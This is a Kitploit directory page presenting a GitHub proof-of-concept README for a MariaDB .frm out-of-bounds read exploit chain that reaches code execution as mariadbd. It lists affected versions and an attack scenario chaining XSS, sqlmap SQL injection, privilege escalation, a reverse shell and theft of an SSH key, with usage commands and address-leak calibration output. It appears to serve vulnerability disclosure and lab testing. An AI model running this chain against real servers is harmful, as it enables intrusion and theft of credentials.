Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-107821-PoC — MariaDB .frm OOB read exploit chain (MDEV-40571) achieving RCE as mariadbd, with lab build scripts, address-leak calibration, and full attack-scenario documentation. | Kitploit
工具/GitHubGitHub/pinebudweiser/cve-2026-107821-poc
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationDatabase SecurityBinary ExploitationLabs & Practice
GitHubpinebudweiser/cve-2026-107821-poc

CVE-2026-107821-PoC

MariaDB .frm OOB read exploit chain (MDEV-40571) achieving RCE as mariadbd, with lab build scripts, address-leak calibration, and full attack-scenario documentation.

1个月前尚未审核
分享
查看仓库
内容在请求的语言中不可用。显示英文版本。

English 한국어

CVE-2026-107821(MDEV-40571)

  • Vulnerability Overview
  • Affected Products
  • Vulnerability Types
  • Attack Scenario
    • Phase1 - API Analysis and Credential Acquisition via XSS
    • Phase2 - Web Service Analysis and DBMS Credential Acquisition via SQL Injection
    • Phase3 - Obtaining a Reverse Shell and an SSH Private Key via MDEV-40571
  • Attack Scenario Flowchart
  • Exploit
    • Directory Structure
    • Exploit Usage Examples
    • Demo Video
    • Discovery Background
    • RCE Chain Prerequisites
    • Detailed Vulnerability Analysis and Full Exploit Chain
  • Patches and Mitigations
  • Conclusion
  • Credits

Vulnerability Overview

The vulnerability originates from insufficient validation of .frm data when MariaDB opens a table. A full exploit chain can be constructed by combining an out-of-bounds (OOB) read caused by missing index validation for the share->field pointer array, a leak of the comment_pos buffer address through manipulation of default_values and record metadata, and the placement of a payload in the comment_pos buffer using SQL queries. Ultimately, this chain allows an attacker to execute arbitrary code with the privileges of the mariadbd process.

Affected Products

The vulnerability has existed since MariaDB forked from MySQL 5 and affects all MariaDB Community Server releases prior to the fixes listed below.

  • MariaDB 13.1 Series (Preview)
  • MariaDB 13.0 Series (Preview)
  • MariaDB 12.3.1 to 12.3.2
  • MariaDB 11.8.1 to 11.8.8
  • MariaDB 11.4.1 to 11.4.12
  • MariaDB 10.11.1 to 10.11.18
  • MariaDB 10.6.1 to 10.6.27
  • Old MySQL Version(to 5.1) and Old MariaDB Community Server Release

Vulnerability Types

  • OOB Read
  • Remote Code Execution

Attack Scenario

This scenario begins with XSS and SQL injection vulnerabilities in a web service that are independent of MDEV-40571. These vulnerabilities are used to obtain a MariaDB account password hash and gain database access. Readers interested only in MDEV-40571 can skip to the Exploit section.

Phase1 - API Analysis and Credential Acquisition via XSS

  1. The attacker analyzes the device firmware to obtain a hardcoded API key and information about API parameters.
  2. The attacker submits an XSS payload through the logging API and enumerates web application functionality. The HttpOnly flag prevents direct access to the session cookie, so the payload uses fetch to make requests.
  3. The attacker identifies an account creation feature, collects its POST parameters, and creates a web administrator account with known credentials.

Phase2 - Web Service Analysis and DBMS Credential Acquisition via SQL Injection

  1. The attacker identifies a SQL injection vulnerability in the Excel export feature and uses sqlmap to attempt to retrieve DBMS credentials.
  2. The attacker retrieves the DBMS account name and password hash, determines that the hash is unsalted, and recovers the password through a dictionary attack.

Phase3 - Obtaining a Reverse Shell and an SSH Private Key via MDEV-40571

  1. The attacker uses MDEV-40470 to escalate the compromised DBMS account to DBA privileges.
  2. The attacker runs the exploit script.
  3. The attacker obtains a shell with mariadbd privileges, escalates privileges using the copy-fail vulnerability, and retrieves id_rsa from /home/ubuntu/.

Attack Scenario Flowchart

Exploit

  • 13.1.0: Exploit script for testing in a lab environment.
  • 10.4.18: Exploit script used during a penetration test.
    • This script starts a local MariaDB server that matches the target environment and reads its .frm file. Use it for reference only.

Directory Structure

/exploit
  |--- /13.1.0
  |      |--- lab_exploit.py
  |      |--- requirements.txt
  |--- /10.4.18
  |      |--- na_frm_rce2_exploit.py
  |      |--- t16_e2e.py
  |      |--- target_reliable.py

Exploit Usage Examples

# 10.4.18 remote test
# This exploit was developed during a penetration test and is tailored to my specific environment. It should therefore be used for reference purposes only.
$ THOST=127.0.0.1 USER=mariadb_user TPWD=1234 python3 target_reliable.py --fire 

# WSL2 Ubuntu 24.04 | Building a MariaDB 13.1.0 Test Environment
# When installed in the home directory, the build environment is set up under mariadb-13.1.0-git.
$ cd ~
$ ./build_mariadb_13_1_0.sh 

# Run mariadbd and initialize datadir
$ rm -rf ~/off131
$ mkdir -p ~/off131/data
$ ~/mariadb-13.1.0-git/inst/bin/mariadbd \
  --no-defaults \
  --datadir="$HOME/off131/data" \
  --socket="$HOME/off131/off.sock" \
  --port=3306 \
  --bind-address=127.0.0.1 \
  --skip-grant-tables \
  --secure-file-priv= \
  --local-infile=1 \
  --aria-log-dir-path="$HOME/off131/data" \
  --log-error="$HOME/off131/off.log" \
  --pid-file="$HOME/off131/off.pid"

# 13.1.0 lab exploit - The payload executes the /tmp/heal_t16.sh script.
$ cat /tmp/frm_pwned_t16
[bat error]: '/tmp/frm_pwned_t16': No such file or directory (os error 2)
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd64022c50
[*] CALIB: re-leaked C2=0x7abd64022c50  stable=True
[=] CALIB PASS. dry-run only. re-run with --fire to arm fieldnr=47 and trigger R5.
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd6402d7d0
[*] CALIB: re-leaked C2=0x7abd6402d7d0  stable=True
[=] CALIB PASS. dry-run only. re-run with --fire to arm fieldnr=47 and trigger R5.
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd64038d10
[*] CALIB: re-leaked C2=0x7abd64038d10  stable=True
[=] CALIB PASS. dry-run only. re-run with --fire to arm fieldnr=47 and trigger R5.
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd64044fd0
[*] CALIB: re-leaked C2=0x7abd640474d0  stable=False
[!] chunk NOT stable across deliver (C moved) -> ABORT before firing
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd6404b8b0
[*] CALIB: re-leaked C2=0x7abd6404ddb0  stable=False
[!] chunk NOT stable across deliver (C moved) -> ABORT before firing
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    810
  • 3

    wifit3

    derv82/wifit3

    Wifite 但仅限 USB 且跨平台。

    638
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    453
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    436
  • 6

    SafeLine

    chaitin/safeline

    自托管WAF和反向代理,可过滤恶意HTTP流量、阻止SQL注入、XSS和机器人攻击,具备速率限制和动态HTML/JS加密功能。

    386

探索所有工具

浏览我们的工具集合

查看所有工具 →